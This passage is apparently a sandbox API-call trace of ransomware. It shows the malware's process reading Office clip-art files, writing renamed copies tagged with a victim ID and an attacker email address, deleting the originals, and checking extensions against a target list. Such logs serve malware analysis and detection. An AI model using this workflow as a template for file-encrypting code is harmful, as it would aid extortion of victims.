lpNewFilePointer=0x0) returned 1 [0162.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.502] GetLastError () returned 0x0 [0162.502] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2606, lpOverlapped=0x0) returned 1 [0162.503] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2610, lpOverlapped=0x0) returned 1 [0162.504] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.504] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.504] SetEndOfFile (hFile=0x38c) returned 1 [0162.504] CloseHandle (hObject=0x38c) returned 1 [0162.505] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.505] SetEndOfFile (hFile=0x380) returned 1 [0162.506] CloseHandle (hObject=0x380) returned 1 [0162.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".doc") returned 4 [0162.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".docx") returned 5 [0162.507] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.507] lstrlenW (lpString=".pdf") returned 4 [0162.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".xls") returned 4 [0162.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.507] lstrlenW (lpString=".xlsx") returned 5 [0162.507] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.507] lstrlenW (lpString=".ppt") returned 4 [0162.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".zip") returned 4 [0162.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.507] lstrlenW (lpString=".rar") returned 4 [0162.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".bz2") returned 4 [0162.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".7z") returned 3 [0162.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".dbf") returned 4 [0162.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".1cd") returned 4 [0162.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".jpg") returned 4 [0162.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.507] lstrlenW (lpString=".doc") returned 4 [0162.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".docx") returned 5 [0162.507] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.507] lstrlenW (lpString=".pdf") returned 4 [0162.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.507] lstrlenW (lpString=".xls") returned 4 [0162.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.507] lstrlenW (lpString=".xlsx") returned 5 [0162.508] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.508] lstrlenW (lpString=".ppt") returned 4 [0162.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.508] lstrlenW (lpString=".zip") returned 4 [0162.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.508] lstrlenW (lpString=".rar") returned 4 [0162.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.508] lstrlenW (lpString=".bz2") returned 4 [0162.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.508] lstrlenW (lpString=".7z") returned 3 [0162.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.508] lstrlenW (lpString=".dbf") returned 4 [0162.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.508] lstrlenW (lpString=".1cd") returned 4 [0162.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.508] lstrlenW (lpString=".jpg") returned 4 [0162.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.508] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.508] lstrlenW (lpString="J0086420.WMF") returned 12 [0162.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.508] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9596) returned 1 [0162.508] CloseHandle (hObject=0x380) returned 1 [0162.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0162.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.509] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.509] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.509] GetLastError () returned 0x0 [0162.509] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x257c, lpOverlapped=0x0) returned 1 [0162.510] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2580, lpOverlapped=0x0) returned 1 [0162.511] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.511] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.511] SetEndOfFile (hFile=0x38c) returned 1 [0162.512] CloseHandle (hObject=0x38c) returned 1 [0162.512] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.512] SetEndOfFile (hFile=0x380) returned 1 [0162.513] CloseHandle (hObject=0x380) returned 1 [0162.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".doc") returned 4 [0162.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString=".docx") returned 5 [0162.514] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.514] lstrlenW (lpString=".pdf") returned 4 [0162.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString=".xls") returned 4 [0162.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.514] lstrlenW (lpString=".xlsx") returned 5 [0162.514] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.514] lstrlenW (lpString=".ppt") returned 4 [0162.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".zip") returned 4 [0162.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.514] lstrlenW (lpString=".rar") returned 4 [0162.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString=".bz2") returned 4 [0162.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString=".7z") returned 3 [0162.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".dbf") returned 4 [0162.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".1cd") returned 4 [0162.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".jpg") returned 4 [0162.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.514] lstrlenW (lpString=".doc") returned 4 [0162.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString=".docx") returned 5 [0162.515] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.515] lstrlenW (lpString=".pdf") returned 4 [0162.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString=".xls") returned 4 [0162.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.515] lstrlenW (lpString=".xlsx") returned 5 [0162.515] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.515] lstrlenW (lpString=".ppt") returned 4 [0162.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.515] lstrlenW (lpString=".zip") returned 4 [0162.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.515] lstrlenW (lpString=".rar") returned 4 [0162.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString=".bz2") returned 4 [0162.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString=".7z") returned 3 [0162.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.515] lstrlenW (lpString=".dbf") returned 4 [0162.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.515] lstrlenW (lpString=".1cd") returned 4 [0162.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.515] lstrlenW (lpString=".jpg") returned 4 [0162.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.515] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.515] lstrlenW (lpString="J0086424.WMF") returned 12 [0162.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.867] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17016) returned 1 [0162.867] CloseHandle (hObject=0x398) returned 1 [0162.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0162.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.868] GetLastError () returned 0x0 [0162.868] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4278, lpOverlapped=0x0) returned 1 [0162.872] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4280, lpOverlapped=0x0) returned 1 [0162.873] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.873] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.873] SetEndOfFile (hFile=0x364) returned 1 [0162.873] CloseHandle (hObject=0x364) returned 1 [0162.874] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.875] SetEndOfFile (hFile=0x398) returned 1 [0162.875] CloseHandle (hObject=0x398) returned 1 [0162.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0162.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.876] lstrlenW (lpString=".doc") returned 4 [0162.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString=".docx") returned 5 [0162.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.876] lstrlenW (lpString=".pdf") returned 4 [0162.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString=".xls") returned 4 [0162.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.876] lstrlenW (lpString=".xlsx") returned 5 [0162.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.876] lstrlenW (lpString=".ppt") returned 4 [0162.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.876] lstrlenW (lpString=".zip") returned 4 [0162.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.876] lstrlenW (lpString=".rar") returned 4 [0162.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString=".bz2") returned 4 [0162.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString=".7z") returned 3 [0162.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.876] lstrlenW (lpString=".dbf") returned 4 [0162.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".1cd") returned 4 [0162.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".jpg") returned 4 [0162.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".doc") returned 4 [0162.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString=".docx") returned 5 [0162.877] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.877] lstrlenW (lpString=".pdf") returned 4 [0162.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString=".xls") returned 4 [0162.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.877] lstrlenW (lpString=".xlsx") returned 5 [0162.877] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.877] lstrlenW (lpString=".ppt") returned 4 [0162.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".zip") returned 4 [0162.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.877] lstrlenW (lpString=".rar") returned 4 [0162.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString=".bz2") returned 4 [0162.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString=".7z") returned 3 [0162.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".dbf") returned 4 [0162.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".1cd") returned 4 [0162.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0162.877] lstrlenW (lpString=".jpg") returned 4 [0162.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.877] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.877] lstrlenW (lpString="J0086426.WMF") returned 12 [0162.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.878] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21782) returned 1 [0162.878] CloseHandle (hObject=0x398) returned 1 [0162.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0162.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.878] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.878] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.879] GetLastError () returned 0x0 